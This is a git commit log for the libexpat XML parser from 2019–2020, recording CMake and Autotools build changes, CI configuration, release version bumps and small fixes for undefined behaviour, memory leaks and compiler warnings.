AppVeyor: Cover Visual Studio 16 2019 (related to #418)
2020-09-25 01:09:28 +02:00
Sebastian Pipping 8668a8d0e3 AppVeyor: Cover Visual Studio 16 2019 2020-09-24 23:09:14 +02:00
Gulliver 20f824e8e8 added "new" behaviour for Policy CMP0077 which allows to control the build options by variables if lib is used by FetchContent of a super project 2020-09-18 18:59:38 +02:00
Sebastian Pipping d8daead33e installer: Add missing file to fix build from installed sources (#409) 2020-09-10 20:01:04 +02:00
Sebastian Pipping 1bb22cd03a Merge pull request #414 from libexpat/issue-413-allow-installation-of-pkgconfig-file-with-msvc
CMake: Introduce option EXPAT_BUILD_PKGCONFIG (fixes #413)
2020-08-21 22:52:19 +02:00
Sebastian Pipping 86283117f1 readme: Sync list of CMake options 2020-08-20 22:02:30 +02:00
Sebastian Pipping f438563a78 CMake: Introduce option EXPAT_BUILD_PKGCONFIG (#413) 2020-08-20 21:59:18 +02:00
Sebastian Pipping c092d40c30 Merge pull request #412 from boris-kolpackov/unsigned-overflow
Get rid of unsigned integer overflow in column calculation
2020-08-17 23:17:39 +02:00
Boris Kolpackov 81ae3e7208 Get rid of unsigned integer overflow in column calculation
While unsigned integer overflow is well-defined, Android sanitizers treat it
as an error. We also have some in the SipHash implementation but those won't
be easy to get rid of.
2020-08-17 16:08:56 +02:00
Sebastian Pipping 990e3d07ea Merge pull request #411 from libexpat/cmake-linker-flags
CMake: Consider use of CMAKE_{EXE,MODULE,SHARED}_LINKER_FLAGS
2020-07-17 23:58:05 +02:00
Sebastian Pipping eca7704fd4 Merge pull request #410 from libexpat/const-correctness
Be more correct about const correctness on the inside
2020-07-17 23:57:22 +02:00
Sebastian Pipping e94b0b243e CMake: Consider use of CMAKE_{EXE,MODULE,SHARED}_LINKER_FLAGS 2020-07-16 23:46:26 +02:00
Sebastian Pipping fc0e2365c9 Be more correct about const correctness on the inside 2020-07-16 21:09:00 +02:00
Sebastian Pipping 5a7fe4d19a Merge branch 'issue-407-alter-expat-output-name-rather-than-target-name' (#407, #408) 2020-07-15 17:37:10 +02:00
Sebastian Pipping 72227166b9 Changes: Document #408 2020-07-15 17:36:31 +02:00
Sebastian Pipping da7cda3a85 CMake: Get expat target name back to constant "expat" 2020-07-10 19:33:34 +02:00
Sebastian Pipping 2536864532 Merge branch 'klebertarcisio-klebertarcisio-patch-1' (fixes #406) 2020-06-22 19:59:06 +02:00
Sebastian Pipping 308d470e00 Changes: Document #406 2020-06-22 19:58:33 +02:00
Kleber Tarcísio 12a7276f3e xmlwf: Checks value after calling malloc 2020-06-22 19:56:34 +02:00
Sebastian Pipping a76fd99bf7 Merge pull request #405 from libexpat/issue-404-address-cppcheck-failure
Address Cppcheck failure (fixes #404)
2020-05-28 21:48:33 +02:00
Sebastian Pipping f027055f9d Travis: Limit Cppcheck to macOS
.. because Homebrew comes with 2.0 while
Ubuntu trusty has 1.61, only.
2020-05-28 01:59:04 +02:00
Sebastian Pipping 13bb381d29 xmlparse.c: Fix reading uninitialized variable (#404) 2020-05-28 01:57:06 +02:00
Sebastian Pipping e4262a282e Travis: Improve call to cppcheck
This adds:
- argument --force
- blacklists .c files that are ment to be included, only
- printing the version of cppcheck
2020-05-27 20:33:49 +02:00
Sebastian Pipping d83fc3afd5 Travis: Install a find(1) better than that of macOS 2020-05-27 20:33:16 +02:00
Sebastian Pipping 867bb34373 Merge branch 'notroj-xmlwf-doc-exitcode' (#403) 2020-05-13 14:42:18 +02:00
Sebastian Pipping 49ef210fc8 Changes: Document #403 2020-05-13 14:40:29 +02:00
Joe Orton f1634dbaea Update xmlwf to exit with 3 if an output file could not be opened.
Update xmlwf exit code docs per review.
2020-05-13 08:36:56 +01:00
Joe Orton 38cfc7165f Document the exit codes for xmlwf. 2020-05-12 09:28:40 +01:00
Sebastian Pipping e976867fb5 Merge branch 'bungeman-ubsan' (#398) 2020-04-20 15:21:36 +02:00
Sebastian Pipping f2172ff9bf Changes: Document #398 2020-04-20 15:21:25 +02:00
Ben Wagner 49c165c5a8 Don't add to NULL in iterator.
In C it is undefined to add anything to NULL. Clang recently began
taking advantage of this and can assume that if anything is added or
subtracted from a pointer that the pointer can be assumed non-NULL. The
Address Sanitizer has been updated to report when this happens at
runtime and produces messages like

expat/lib/xmlparse.c:6509:23: runtime error: applying zero offset to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior expat/lib/xmlparse.c:6509:23

This can be mitigated with 'p ? p + n : NULL' which optimizes to just
the add in all optimizing compilers, but avoids the undefined behavior.
2020-04-07 13:12:18 -04:00
Sebastian Pipping c0bfb97ddd Merge pull request #392 from libexpat/issue-387-use-werror-during-flag-support-detection
conftools: Use -Werror when checking compile flags
2020-03-20 16:39:56 +01:00
Sebastian Pipping f61e575226 Merge pull request #395 from libexpat/issue-390-fix-undefined-bahavior
xmlparse.c: Fix undefined behavior for XML_UNICODE (fixes #390)
2020-03-20 16:36:17 +01:00
Sebastian Pipping 8829f5c3fd conftools: Fix regression with detection of -Wstrict-prototypes
The issue was that the code generated by AC_LANG_PROGRAM
produces warnings, and hence -Werror makes detection fail:

$ gcc -x c -Werror -Wstrict-prototypes - <<<'int main() {}'; echo $?
<stdin>:1:5: error: function declaration isn’t a prototype [-Werror=strict-prototypes]
cc1: all warnings being treated as errors
1
2020-03-20 05:35:57 +01:00
Sebastian Pipping 21381bf35e conftools: Use -Werror when checking compile flags 2020-03-20 05:35:57 +01:00
Sebastian Pipping ef09dbabd4 xmlparse.c: Fix undefined behavior for XML_UNICODE
Pointer arithmetic with NULL is undefined behavior.
This reverts c71f27573b
2020-03-20 05:31:40 +01:00
Sebastian Pipping ef1f2a1931 Merge pull request #396 from libexpat/msvc2008
Drop MSVC <=8.0/2005 + cover 32bit MSVC 9.0/2008 on AppVeyor
2020-03-20 05:30:55 +01:00
Sebastian Pipping d073dd63d3 AppVeyor: Cover 32bit Visual Studio 9 2008 using MSBuild 3.5 2020-03-20 02:44:44 +01:00
Sebastian Pipping 24d6dd8c2d AppVeyor: Be explicit about build script to support msbuild 3.5
Error message was:
The project file "ALL_BUILD.vcproj" is in the ".vcproj" file format,
which MSBuild no longer supports. Please convert the project by
opening it in the Visual Studio IDE or running the conversion tool,
or use MSBuild 3.5 or earlier to build it.
2020-03-20 02:44:44 +01:00
Sebastian Pipping 90ed5777a6 Drop support for Visual Studio <=8.0/2005, officially 2020-03-20 02:44:35 +01:00
Sebastian Pipping ddeedc6be1 configure.ac: Fix whitespace regression
One blank line more than intended.
Introduced by mistake in commit 06819ba3e9
2020-03-18 22:26:47 +01:00
Sebastian Pipping a414308030 Merge pull request #394 from notroj/silently
Use AC_MSG_NOTICE so e.g. "configure --silent" is still silent.
2020-03-18 19:12:38 +01:00
Joe Orton 06819ba3e9 Use AC_MSG_NOTICE so e.g. "configure --silent" is still silent. 2020-03-18 10:56:10 +00:00
Sebastian Pipping fe32b81df3 Merge pull request #393 from libexpat/noloader-autotools-2
Use AM_CPPFLAGS, AM_CFLAGS, and AM_CXXFLAGS in Autotools, second take
2020-03-18 02:53:26 +01:00
Sebastian Pipping 2db13ca57d xmlwf: Add missing @AM_*FLAGS@ 2020-03-18 00:32:06 +01:00
Sebastian Pipping 5d1a7b3737 Changes: Document improved handling of compile flags 2020-03-17 21:25:23 +01:00
Sebastian Pipping b391d182b0 configure.ac: Fix mis-treatment of AM_* as macros in heredoc
Warnings were:
configure.ac:336: warning: macro 'AM_CPPFLAGS' not found in library
configure.ac:337: warning: macro 'AM_CFLAGS' not found in library
configure.ac:338: warning: macro 'AM_CXXFLAGS' not found in library
configure.ac:339: warning: macro 'AM_LDFLAGS' not found in library
2020-03-17 21:10:52 +01:00
Sebastian Pipping b070491723 configure.ac: Use a heredoc for printing the summary 2020-03-17 20:39:41 +01:00
Jeffrey Walton 5c66485b86 Update Autotools to use AM_CPPFLAGS, AM_CFLAGS, and AM_CXXFLAGS 2020-03-17 20:35:20 +01:00
Sebastian Pipping f7e69887b3 CMake: Expose man page compilation as target "xmlwf-manpage" 2020-03-16 22:30:21 +01:00
Sebastian Pipping f1ac70b3e3 Merge branch 'Mizzrym1-move-xml-static-to-public' (#385) 2020-03-11 01:55:59 +01:00
Sebastian Pipping 4b71379a3e Changes: Document #385 2020-03-11 01:52:29 +01:00
Sebastian Pipping fcff457ac0 Merge pull request #386 from libexpat/cmake-expose-expat-library-target
CMake: Fix approach to set(.. PARENT_SCOPE) (follow-up to #381)
2020-03-09 22:00:21 +01:00
Sebastian Pipping dba76720c4 Travis: Address issues with CFLAGS "-g"
Symptom:
cc1: error: unrecognised debug output level " -pipe"
2020-03-09 18:27:44 +01:00
Sebastian Pipping 5210036b1e CMake: Fix approach to set(.. PARENT_SCOPE)
Apparently, PARENT_SCOPE _only_ sets a variable in the parent scope
so we now first set it for Expat and do another exporting
call using PARENT_SCOPE if needed.

Error output of CMake 3.16.2 was:
CMake Error at libexpat/expat/CMakeLists.txt:319 (target_include_directories):
  Cannot specify include directories for target "INTERFACE" which is not
  built by this project.

CMake Error at libexpat/expat/CMakeLists.txt:368 (add_custom_command):
  add_custom_command Wrong syntax.  A TARGET or OUTPUT must be specified.
2020-03-09 16:14:13 +01:00
Maciej Sroczyński b53473b119 Move definition XML_STATIC to public in target 2020-03-05 10:51:00 +01:00
Sebastian Pipping 97932c11a6 Merge pull request #381 from libexpat/cmake-expose-expat-library-target
CMake: Expose ${EXPAT_TARGET} to parent scope
2020-02-11 01:36:05 +01:00
Sebastian Pipping 65011ad2f7 CMake: Expose ${EXPAT_TARGET} to parent scope 2020-02-10 23:34:22 +01:00
Sebastian Pipping b73d405848 Merge branch 'Mizzrym1-Fix_cmake_EXPORT' (#375, fixes #380) 2020-02-10 16:05:49 +01:00
Sebastian Pipping 74751abb6b Changes: Document #375 and #380 2020-02-10 16:04:29 +01:00
Maciej Sroczyński 6f44304d82 Fix cmake target_include_directories 2020-02-10 14:42:15 +01:00
Sebastian Pipping eec991fabd Merge pull request #379 from libexpat/issue-377-fix-ci
Fix CI (fixes #377)
2020-02-01 20:09:11 +01:00
Sebastian Pipping 5c0fd5f7ef Travis: Extend ${PATH} for brew Python 3 on macOS 2020-02-01 19:14:18 +01:00
Sebastian Pipping cd9030cdc2 Travis: Add ${PATH} debugging output 2020-02-01 19:14:17 +01:00
Sebastian Pipping c172c82710 Brewfile: Add Python 3 2020-02-01 17:45:06 +01:00
Sebastian Pipping 9b3e89bd28 Brewfile: Sort 2020-02-01 17:44:25 +01:00
Sebastian Pipping 8a989015ad README.md: Replace "should" by "can" regarding Windows binaries (#376) 2020-01-23 22:23:08 +01:00
Sebastian Pipping 20f3da24e5 Merge pull request #373 from Pilot-Pirx/patch-1
Update COPYING
2020-01-01 21:55:30 +01:00
Matthias 8a93b41a8a Update COPYING
Copyright year should be 2019 for 2.2.9?
2019-12-26 00:22:56 +01:00
Sebastian Pipping ed3484270f Merge pull request #370 from bshastry/fix-cmake-warning
CMake: Fix warning due to if statement with mismatching arguments
2019-11-29 17:46:23 +01:00
Bhargava Shastry 037bcd1657 CMake: Fix warning due to if statement with mismatching arguments 2019-11-29 13:29:45 +01:00
Sebastian Pipping 83e1688c74 xmlwf: Improve output of "xmlwf -h" by two tiny bits 2019-11-26 16:17:44 +01:00
Sebastian Pipping 49c31c180c Merge pull request #369 from libexpat/issue-368-fix-doc-png-images
doc: Process *.png images by zopflipng (for #368)
2019-11-24 18:11:33 +01:00
Sebastian Pipping 3698d490a0 doc: Process *.png images by zopflipng 2019-11-24 15:29:20 +01:00
Sebastian Pipping 63abbcdb3b Merge pull request #366 from bshastry/cmake-ossfuzz-integration
CMake: Enable oss-fuzz integration
2019-11-21 14:34:32 +01:00
Bhargava Shastry 9d646413c4 CMake: Enable oss-fuzz integration 2019-11-19 11:31:59 +01:00
Sebastian Pipping 0ca61f3e47 Merge pull request #365 from bshastry/fix-null-input-assert-fail-parsebuffer-fuzzer
parsebuffer fuzzer: Bail out on empty fuzzer input
2019-11-18 13:27:48 +01:00
Bhargava Shastry 8889179071 parsebuffer fuzzer: Bail out on empty fuzzer input 2019-11-17 21:12:13 +01:00
Sebastian Pipping f56a55b32c Merge pull request #364 from luzpaz/typos
Fix source comment typos
2019-11-04 17:10:32 +01:00
luz.paz 56893d4fbb Fix source comment typos
Found via `codespell -q 3 -S ./testdata,./expat/Changes`
2019-11-04 07:52:31 -05:00
Sebastian Pipping 515f5d07c6 xmlparse.c: Improve warning regarding lack of high quality entropy (#172) 2019-10-26 15:23:09 +02:00
Sebastian Pipping 25d3c190c6 Merge branch 'MohammedKhajapasha-issue_361' (#362, fixes #361) 2019-10-16 15:27:49 +02:00
Sebastian Pipping a328ba3ca6 Changes: Fix name order for 2.2.8 2019-10-16 15:25:34 +02:00
Sebastian Pipping 739a525d1b Changes: Give credit for #361 and #362 2019-10-16 15:23:14 +02:00
Mohammed Khajapasha 8935c83a84 Autotools: Add package name variable for expat.pc config file
Add _EXPAT_TARGET package name variable for expat.pc
package config file in automake.

Signed-off-by: Mohammed Khajapasha <mohammed.khajapasha@intel.com>
2019-10-14 18:19:52 +00:00
Sebastian Pipping 87674af183 Merge pull request #359 from libexpat/rand-s-mingwrt-version-guard
Limit declaration of rand_s to mingwrt <5.3.0
2019-10-13 15:13:49 +02:00
Sebastian Pipping 66fec76b97 Merge pull request #360 from libexpat/improve-cmake
Improve CMake (related to #330)
2019-10-13 13:08:59 +02:00
Sebastian Pipping fc32dd491c xmlparse.c: Limit declaration of rand_s to mingwrt <5.3.0 2019-10-13 13:06:05 +02:00
Sebastian Pipping b65e0d383d Changes: Document improvements to CMake 2019-10-12 23:22:24 +02:00
Sebastian Pipping c513cea787 CMake: Install shipped xmlwf manpage in case of -DEXPAT_BUILD_DOCS=OFF 2019-10-12 23:22:24 +02:00
Sebastian Pipping f2d53fb6cd CMake: Catch troublesome build combinations for -DEXPAT_CHAR_TYPE=wchar_t 2019-10-12 23:22:24 +02:00
Sebastian Pipping db01810bf3 CMake: Catch troublesome build combinations for -DEXPAT_CHAR_TYPE=ushort 2019-10-12 23:22:24 +02:00
Sebastian Pipping 5aa6475ca5 CMake: Create libexpatw.{dll,so} and expatw.pc with -DEXPAT_CHAR_TYPE=(ushort|wchar_t) 2019-10-12 23:22:24 +02:00
Sebastian Pipping 3e31626c7b CMake: Fix visibility of EXPAT_WITH_LIBBSD and EXPAT_*RANDOM* 2019-10-12 23:22:24 +02:00
Sebastian Pipping a0ce01d3b0 Changes: Document #356 2019-10-12 23:20:52 +02:00
Sebastian Pipping ccd1cbc14d Drop expat.spec RPM packaging (related to #330) 2019-10-09 19:56:19 +02:00
Sebastian Pipping dd53eb8d10 Merge pull request #357 from libexpat/coverage-sh-cmake
Migrate coverage.sh from GNU Autotools to CMake (part of #330)
2019-10-09 15:21:08 +02:00
Sebastian Pipping 3686659c04 Travis CI: Cover coverage.sh 2019-10-08 22:21:56 +02:00
Sebastian Pipping 7426853889 codepage.c: Define functions codepageMap and codepageConvert no more than once 2019-10-08 00:20:28 +02:00
Sebastian Pipping 4d45e55178 coverage.sh: Limit coverage logs to lib/ and xmlwf/ folders 2019-10-08 00:20:28 +02:00
Sebastian Pipping d516114e76 coverage.sh: Report more about calls to lcov (than their output) 2019-10-08 00:20:28 +02:00
Sebastian Pipping 3334d63437 coverage.sh: Fix directory collisions for w/ and w/o attribute info 2019-10-08 00:20:28 +02:00
Sebastian Pipping ab73290c35 coverage.sh: Re-use first xmlts.zip download 2019-10-07 22:33:46 +02:00
Sebastian Pipping 6136acc8e0 coverage.sh: Move from GNU Autotools to CMake# 2019-10-07 22:33:35 +02:00
Sebastian Pipping 41c8dc1771 coverage.sh: Copy libexpat.dll as well 2019-10-07 22:33:35 +02:00
Sebastian Pipping 0b53cb461b coverage.sh: Improve handling of absent libwinpthread-1.dll 2019-10-07 22:33:35 +02:00
Sebastian Pipping 2e013217d4 Merge pull request #356 from wxWidgets/mingw-rand_s-decl
Declare rand_s() for MinGW 32 ourselves
2019-10-07 00:05:15 +02:00
Vadim Zeitlin 52aead2583 Declare rand_s() for MinGW 32 ourselves
Runtime files for MinGW don't contain rand_s() declaration, even in
their latest version, so declare it ourselves to avoid the warning about
missing function declaration.
2019-10-06 22:12:25 +02:00
Sebastian Pipping 5123c8ed95 xmltok.c: Address warnings about accidental non-ASCII dashes in comments (#355) 2019-10-01 21:50:52 +02:00
Sebastian Pipping c675d2d9da Changes: Document #354 2019-10-01 21:46:14 +02:00
Sebastian Pipping c5a6c3cca3 Merge pull request #354 from libexpat/issue-324-cover-build-flags
Cover more build flags (fixes #324)
2019-09-30 20:48:51 +02:00
Sebastian Pipping 917eb79750 Travis CI: Cover more non-default build parameters (in isolation) 2019-09-29 22:42:18 +02:00
Sebastian Pipping 8850b20417 qa.sh: Exclude "make run-xmltest" for -DEXPAT_DTD=OFF 2019-09-29 22:42:18 +02:00
Sebastian Pipping ae87321020 runtests.c: Fix for -DEXPAT_DTD=OFF 2019-09-29 21:44:58 +02:00
Sebastian Pipping 3137798629 runtests.c: Fix for -DEXPAT_NS=OFF 2019-09-29 20:36:28 +02:00
Sebastian Pipping 76f2beee81 runtests.c: Fix compiler warning "unused function" with -DEXPAT_MIN_SIZE=ON 2019-09-29 19:34:39 +02:00
Sebastian Pipping 24a912c12c xmlparse.c|xmlrole.c: Fix compiler warning "unused parameter" with -DEXPAT_DTD=OFF 2019-09-29 19:34:39 +02:00
Sebastian Pipping d05afa5829 xmlparse.c: Address compiler warninging with -DEXPAT_CONTEXT_BYTES=OFF
Warning was:
comparison of integers of different signs: 'int' and 'unsigned long'
2019-09-29 19:34:39 +02:00
Sebastian Pipping b3d3ea6456 Changes: Fix spelling of "September" 2019-09-28 15:16:09 +02:00
Sebastian Pipping a7bc26b697 Set release date for 2.2.9 2019-09-25 21:30:07 +02:00
Sebastian Pipping 89de2d561c Bump version info from 7:10:6 to 7:11:6 2019-09-25 21:26:10 +02:00
Sebastian Pipping 25c96511a0 Bump version from 2.2.8 to 2.2.9 2019-09-25 21:22:30 +02:00
Sebastian Pipping fc79a3acdf Changes: Document #347 2019-09-25 21:18:59 +02:00
Sebastian Pipping 8c51dd9d51 Merge pull request #349 from libexpat/cmake-windows-libexpat-dll
CMake: Use libexpat*.(dll|lib) not expat*.(dll|lib) on Windows
2019-09-23 22:23:46 +02:00
Sebastian Pipping de621b53cf CMake: Use libexpat*.(dll|lib) not expat*.(dll|lib) on Windows 2019-09-21 20:43:04 +02:00
Sebastian Pipping 4f23e05a33 Merge pull request #347 from bungeman/patch-1
Only define _CRT_RAND_S when not already defined.
2019-09-18 19:20:05 +02:00
bungeman c6de942020 Only define _CRT_RAND_S when not already defined.
There exist builds which go out of their way to define _CRT_RAND_S for everything by forcing it into the list of macros defined on the command line to the compiler. Unfortunately, something like "-D_CRT_RAND_S" implies _CRT_RAND_S is defined to be '1' and defining it to be empty produces a redefinition.

Since the intention here is to ensure that _CRT_RAND_S is always defined, only define it if it isn't already defined.
2019-09-18 10:39:05 -04:00
Sebastian Pipping 6b19963341 Drop mistaken executable bits 2019-09-16 20:54:47 +02:00
Sebastian Pipping ffff758613 Merge pull request #345 from tbeu/patch-1
Fix typo in readme
2019-09-14 17:27:19 +02:00
tbeu 706f050615 Fix typo 2019-09-14 16:35:17 +02:00
Sebastian Pipping 91b17cfeb8 Set release date for 2.2.8 2019-09-13 22:03:21 +02:00
Sebastian Pipping a5414b759d Bump version from 2.2.7 to 2.2.8 2019-09-13 22:03:21 +02:00
Sebastian Pipping 8fd183abfe Bump version info from 7:9:6 to 7:10:6 2019-09-13 21:44:39 +02:00
Sebastian Pipping 47cc6acc8f Merge branch 'MohammedKhajapasha-issue_312' (#343, fixes #312) 2019-09-13 21:17:51 +02:00
Sebastian Pipping 9f89db5317 Changes: Document #312 and #343 2019-09-13 21:17:02 +02:00
Mohammed Khajapasha df35daf126 Autotools: Enable clang tool chain to generate libraries
Enable clang tool chain for autotool to generate shared libexpat libraries.

Signed-off-by: Mohammed Khajapasha <mohammed.khajapasha@intel.com>
2019-09-13 06:00:38 +00:00
Sebastian Pipping 68ec895e5d Changes: Re-order entries for upcoming a release 2019-09-08 20:05:04 +02:00
Sebastian Pipping c672abcfea Merge pull request #341 from libexpat/xmlwf-fix-exit-code
xmlwf: Fix exit code for case without "-d DIRECTORY"
2019-09-07 02:58:20 +02:00
Sebastian Pipping 966f5d0da8 xmltest.sh: Adapt to fixed xmlwf exit code 2019-09-06 19:53:36 +02:00
Sebastian Pipping 70a4a691fc xmlwf: Fix exit code for case without "-d DIRECTORY" 2019-09-06 19:53:36 +02:00
Sebastian Pipping 11a621be71 Merge pull request #340 from libexpat/issue-332-workaround-xml-min-size-with-asan
runtests.c: Workaround issue with combining XML_MIN_SIZE and ASan (#332)
2019-09-06 01:16:30 +02:00
Sebastian Pipping 45bf95686c Changes: Add reference to #336 2019-09-05 21:58:50 +02:00
Sebastian Pipping f2a977c5da Merge pull request #336 from libexpat/cmake-option-char-type
CMake option EXPAT_CHAR_TYPE=(char|ushort|wchar_t) + two other small CMake fixes
2019-09-05 21:56:40 +02:00
Sebastian Pipping 48d4929bff runtests.c: Workaround issue with combining XML_MIN_SIZE and ASan (#332) 2019-09-05 19:56:11 +02:00
Sebastian Pipping d2892df8fd .gitignore: Add missing build results (CMake, qa.sh) 2019-09-05 19:38:36 +02:00
Sebastian Pipping 7f75b2e55f CMake: Streamline expat-config.cmake.in a bit 2019-09-05 17:21:57 +02:00
Sebastian Pipping 93431f0a8e CMake: Re-model char type components for usability 2019-09-05 17:20:06 +02:00
Sebastian Pipping 5a0df05f53 CMake: Fix guard for EXPAT_MSVC_STATIC_CRT from WIN32 to MSVC 2019-09-05 17:20:06 +02:00
Sebastian Pipping 23d85f447b CMake: Set XML_UNICODE for XML_UNICODE_WCHAR_T as well, again 2019-09-05 17:20:06 +02:00
Sebastian Pipping 27ec307136 CMake: Introduce option EXPAT_CHAR_TYPE=(char|ushort|wchar_t) 2019-09-05 17:20:06 +02:00
Sebastian Pipping 4a09fc9024 xmlwf: Get -h and -v out of usage summary line 2019-09-05 16:38:41 +02:00
Sebastian Pipping 5f28bccc5b Changes: Add reference to #338 2019-09-05 16:35:48 +02:00
Sebastian Pipping fae03ea47c Changes: Document #339 2019-09-05 16:34:20 +02:00
Sebastian Pipping 18637ba9c8 Merge pull request #339 from bettermanzzy/fixMemLeak
Fix a potential memory leak in elements.c
2019-09-05 16:16:54 +02:00
Sebastian Pipping b52c38a90f Merge pull request #338 from libexpat/xmlwf-improve-help-output
xmlwf: Improve "xmlwf -h" help output
2019-09-05 12:35:40 +02:00
Sebastian Pipping 0310b5d3fd Merge pull request #337 from libexpat/qa-sh-classify-compiler
qa.sh: Auto-detect QA_COMPILER
2019-09-05 12:35:05 +02:00
zhouzhongyuan 90e44cde80 fix potential memory leak in elements.c 2019-09-05 16:17:51 +08:00
Sebastian Pipping 041e7768be xmlwf: Improve "xmlwf -h" help output 2019-09-05 00:45:14 +02:00
Sebastian Pipping 53f81da945 qa.sh: Auto-detect QA_COMPILER 2019-09-04 21:53:47 +02:00
Sebastian Pipping 3ae79a8893 Changes: Mention CVE and commit SHA1 for #317 2019-09-04 20:43:43 +02:00
Sebastian Pipping 705c553aeb Merge pull request #335 from libexpat/build-fuzzing-expat-only-once
CMake: Build fuzzing Expat once, not twelve times
2019-09-04 20:18:59 +02:00
Sebastian Pipping c9b669e42a CMake: Build fuzzing Expat once, not twelve times 2019-09-03 23:20:26 +02:00
Sebastian Pipping 6da1f19625 Merge pull request #318 from libexpat/issue-317
Deny internal entities closing the doctype (for #317)
2019-09-03 22:00:41 +02:00
Sebastian Pipping 968cc3f713 Merge pull request #334 from libexpat/issue-330-cmake-migration
Go further with CMake migration (for #330)
2019-09-03 21:24:54 +02:00
Sebastian Pipping ef3af655c6 AppVeyor: Improve use of CMake 2019-09-03 01:43:36 +02:00
Sebastian Pipping 8fe8fca412 CMake: Add missing -municode for wchar_t MinGW 2019-09-03 01:43:36 +02:00
Sebastian Pipping 3e38a17340 CMake: Fix use of XML_UNICODE and XML_UNICODE_WCHAR_T
C/C++ code is not ready to get those from expat_config.h, yet.
2019-09-03 00:36:36 +02:00
Sebastian Pipping c7d639115b Travis CI: Adapt to qa.sh's move from GNU Autotools to CMake 2019-09-02 21:48:40 +02:00
Sebastian Pipping 50f63ae089 qa.sh: Migrate from GNU Autotools to CMake 2019-09-02 21:31:46 +02:00
Sebastian Pipping 4657d2d3de CMake: Drop .c files from expat_SRCS that are empty unless included 2019-09-02 21:31:46 +02:00
Sebastian Pipping 201094142d CMake: Do not produce expat.pc pkg-config file with MSVC 2019-09-02 21:31:46 +02:00
Sebastian Pipping da8be0224c CMake: Port "make xml-runtest" over from GNU Autotools 2019-09-02 21:31:46 +02:00
Sebastian Pipping d78357da50 CMake: Make MinGW support work 2019-09-02 00:45:23 +02:00
Sebastian Pipping 0e3db7fcff CMake: Fix off-by-one indentation 2019-09-02 00:18:59 +02:00
Sebastian Pipping 1a67aa4ad2 win32: Fix slash to be a backslash in expat.iss 2019-09-02 00:18:48 +02:00
Sebastian Pipping ba0850983b Merge branch 'issue-331-address-compile-warnings-xml-min-size' (#333) 2019-09-01 21:10:36 +02:00
Sebastian Pipping 660a83ea20 Changes: Reference #331 and #333 2019-09-01 21:10:09 +02:00
Sebastian Pipping 8735c77127 xmltok.c: Fix unused variables warnings for -DXML_MIN_SIZE 2019-09-01 16:07:56 +02:00
Sebastian Pipping 294fa6782c README.md: Make CMake option listing more readable 2019-08-31 02:25:05 +02:00
Sebastian Pipping 55e4807c26 Changes: Add reference to #329 2019-08-31 02:23:49 +02:00
Sebastian Pipping 5dfac7036d Merge pull request #329 from libexpat/cmake-option-namespace
CMake option namespace prefix EXPAT_
2019-08-31 02:22:22 +02:00
Sebastian Pipping 493aebf28f Changes: Mention -DEXPAT_BUILD_FUZZERS=(ON|OFF) 2019-08-30 23:54:51 +02:00
Sebastian Pipping adbfa6a2ed Changes: Document move to EXPAT_ CMake option namespace prefix 2019-08-30 23:54:51 +02:00
Sebastian Pipping b67044f475 README.md: List non-advanced build options 2019-08-30 23:54:51 +02:00
Sebastian Pipping 161bb9f5ab CMake: Mark options as advanced where guessing would go wrong, easily 2019-08-30 23:54:51 +02:00
Sebastian Pipping bf8ab25a0d CMake: Get options to show with "cmake -D_EXPAT_HELP=ON -LH ." 2019-08-30 23:54:51 +02:00
Sebastian Pipping 54a5ea1bb8 CMake: Fix pull request reference typo 2019-08-30 23:54:51 +02:00
Sebastian Pipping 3007f5ecf2 CMake: Report about XML_MIN_SIZE in summary 2019-08-30 23:54:51 +02:00
Sebastian Pipping d13ceacad1 CMake: Rename XML_% to EXPAT_% 2019-08-30 23:54:51 +02:00
Sebastian Pipping fce015875e CMake: Rename BUILD_shared to EXPAT_SHARED_LIBS 2019-08-30 23:54:51 +02:00
Sebastian Pipping 474471cdc2 CMake: Rename INSTALL to EXPAT_ENABLE_INSTALL 2019-08-30 23:54:51 +02:00
Sebastian Pipping 4b214610e2 CMake: Rename MSVC_USE_STATIC_CRT to EXPAT_MSVC_STATIC_CRT 2019-08-30 23:54:51 +02:00
Sebastian Pipping 0eb711e9b6 CMake: Rename USE_SYS_GETRANDOM to EXPAT_WITH_SYS_GETRANDOM 2019-08-30 21:39:15 +02:00
Sebastian Pipping b244583d34 CMake: Rename USE_GETRANDOM to EXPAT_WITH_GETRANDOM 2019-08-30 21:38:21 +02:00
Sebastian Pipping 458be796ae CMake: Rename WARNINGS_AS_ERRORS to EXPAT_WARNINGS_AS_ERRORS 2019-08-30 21:38:21 +02:00
Sebastian Pipping 20bb6ed0b3 CMake: Rename USE_libbsd to EXPAT_WITH_LIBBSD 2019-08-30 21:38:21 +02:00
Sebastian Pipping 0c6508b9f6 CMake: Rename BUILD_fuzzers to EXPAT_BUILD_FUZZERS 2019-08-30 21:38:21 +02:00
Sebastian Pipping 48c71b566c CMake: Rename BUILD_doc to EXPAT_BUILD_DOCS 2019-08-30 21:38:21 +02:00
Sebastian Pipping 3eb4909120 CMake: Rename BUILD_doc_default to _EXPAT_BUILD_DOCS_DEFAULT 2019-08-30 21:38:21 +02:00
Sebastian Pipping 9595968a3e CMake: Rename BUILD_tests to EXPAT_BUILD_TESTS 2019-08-30 21:38:21 +02:00
Sebastian Pipping 87d60093fd CMake: Rename BUILD_examples to EXPAT_BUILD_EXAMPLES 2019-08-30 21:38:21 +02:00
Sebastian Pipping c3bd1953be CMake: Rename BUILD_tools to EXPAT_BUILD_TOOLS 2019-08-30 21:38:21 +02:00
Sebastian Pipping 4b1dfb91ca CMake: Rename BUILD_tools_default to _EXPAT_BUILD_TOOLS_DEFAULT 2019-08-30 21:38:21 +02:00
Sebastian Pipping 3686bb2bf1 Merge pull request #328 from libexpat/cmake-xml-min-size
Expose XML_MIN_SIZE build option in CMake
2019-08-30 19:38:53 +02:00
Sebastian Pipping 3a2c6414ee CMake: Add option -DXML_MIN_SIZE=(ON|OFF), default OFF 2019-08-30 16:00:18 +02:00
Sebastian Pipping 085bfd570b Changes: Pull entry on XML_LARGE_SIZE up next to XML_ATTR_INFO 2019-08-30 15:53:11 +02:00
Sebastian Pipping feebc5c330 Merge pull request #326 from libexpat/cmake-improvements
CMake improvements
2019-08-30 15:49:01 +02:00
Sebastian Pipping f4accb1032 Changes: Enrich CMake related entries 2019-08-30 02:30:28 +02:00
Sebastian Pipping 716c53052b CMake: Provide files for config-mode find_package 2019-08-30 02:30:28 +02:00
Sebastian Pipping 442cb95d29 CMake: Add argument -DXML_LARGE_SIZE=ON 2019-08-30 02:30:28 +02:00
Sebastian Pipping f9be0365a7 CMake: Extract macro expat_bool_to_int to reduce code duplication 2019-08-30 02:30:28 +02:00
